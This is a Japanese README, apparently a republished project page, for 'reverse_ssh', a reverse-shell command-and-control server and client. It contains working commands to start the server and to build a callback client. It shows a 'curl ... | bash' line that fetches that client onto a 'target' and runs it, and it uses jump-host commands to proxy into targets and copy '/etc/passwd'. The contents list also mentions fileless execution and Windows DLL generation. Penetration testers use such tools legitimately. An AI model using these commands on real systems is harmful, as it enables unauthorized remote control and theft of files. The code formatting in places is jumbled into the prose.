

(アートクレジット: https://www.instagram.com/smart.hedgehog.art/)
SSHをリバースシェルに使いたいですか? 今すぐ可能です。
SCPおよびSFTP実装http、websockets、tlsなどの複数のネットワークトランスポートhttps://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [リバースSSH](#reverse-ssh)
- [TL;DR](#tldr)
- [セットアップ](#setup)
- [基本的な使い方](#basic-usage)
- [スポンサー](#sponsors)
- [個人スポンサー](#individuals)
- [法人スポンサー](#companies)
- [高度な機能](#fancy-features)
- [権限](#privileges)
- [自動接続バック](#automatic-connect-back)
- [リバースシェルのダウンロード(クライアント生成と内蔵HTTPサーバー)](#reverse-shell-download-client-generation-and-in-built-http-server)
- [代替トランスポート(HTTP/WebSocket/TLS)](#alternate-transports-httpwebsocketstls)
- [Bashオートコンプリート](#bash-autocomplete)
- [Windows DLL生成](#windows-dll-generation)
- [SSHサブシステム](#ssh-subsystems)
- [すべて](#all)
- [Linux](#linux)
- [Windows](#windows)
- [Windowsサービス統合](#windows-service-integration)
- [完全なWindowsシェルサポート](#full-windows-shell-support)
- [Webhook](#webhooks)
- [Tun(VPN)](#tun-vpn)
- [ファイルレス実行(クライアントは動的に実行ファイルをダウンロードしてシェルとして実行可能)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
- [対応URIスキーム](#supported-uri-schemes)
- [ヘルプ](#help)
- [Windows](#windows-help)
- [SFTP](#windows-and-sftp)
- [セッション生成エラー (0xc0000142)](#session-spawn-errors-0xc0000142)
- [`--insecure` で起動したサーバーで `Failed to handshake` が発生する場合](#server-started-with---insecure-still-has-failed-to-handshake)
- [フォアグラウンドとバックグラウンド](#foreground-vs-background)
- [寄付、サポート、または還元](#donations-support-or-giving-back)
## TL;DR
### セットアップ
適切なバージョンのgolangとWindows向けクロスコンパイラが含まれているため、Dockerリリースが推奨されます。```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
または docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data
### 基本的な使い方```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
すべてのコマンドは、ヘルプを表示するための -h フラグをサポートしています。
通常の ssh コマンドが動作し、rssh サーバーをジャンプホストとして指定するだけです。```sh
ssh -J your.rssh.server.internal:3232 dummy.machine
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
## スポンサー
RSSHプロジェクトに寄付し、このすべての作業を可能にしてくれた以下の方々に心から感謝します!
### 個人
[chikamobina](https://github.com/chikamobina) の寛大なご寄付に感謝します!
[wrighterase (ctrlzero)](https://github.com/wrighterase) のプルリクエストとご寄付に感謝します!
### 企業
[Carapace](https://carapace.nz/) はニュージーランド拠点のセキュリティコンサルタントで、非常に才能あるチームです!
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)
## 便利な機能
### 権限
RSSHサーバーは非常に基本的なユーザー権限をサポートしており、`data-directory`/`keys` ( `--datadir`で指定) フォルダ内のユーザー(例: `data-directory/keys/jim`)は、"ユーザー"として割り当てられ、公開されている(`owners`タグがない、または空の`owners`タグがある`authorized_controllee_keys`ファイルにある)クライアント、または特に割り当てられたクライアント(例: `owners="jim"`)のみを表示できます。
これは実行時に、ユーザーが所有するクライアントへのアクセスを `access` コマンドで共有するか、サーバー管理者によって変更できます。デフォルトでは、`authorized_keys` ファイルにある公開鍵は後方互換性のために管理者としてマークされます。
`access` コマンドによる変更はサーバー再起動後も持続しないため、その特定のクライアントの `authorized_controllee_keys` ファイルを編集する必要があります。
### 自動コールバック
rsshクライアントはコールバックアドレスを組み込むことができます。
デフォルトでは、`link` コマンドがサーバーの外部アドレスを組み込みます。
何らかの理由で手動でバイナリをビルドする場合は、環境変数 `RSSH_HOMESERVER` を指定してクライアントに組み込むことができます:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make
# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client
# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232
RSSHサーバはクライアントバイナリをビルドしてホストできます(linkコマンド)。これが推奨されるクライアントのビルドと提供方法です。
この機能を動作させるには、サーバがプロジェクトの bin/ フォルダに配置されている必要があります。クライアントソースを見つける必要があるためです。
デフォルトでは、docker リリースはこれらがすべて適切に構築されており、使用が推奨されます。```sh
ssh your.rssh.server.internal -p 3232
catcher$ link -h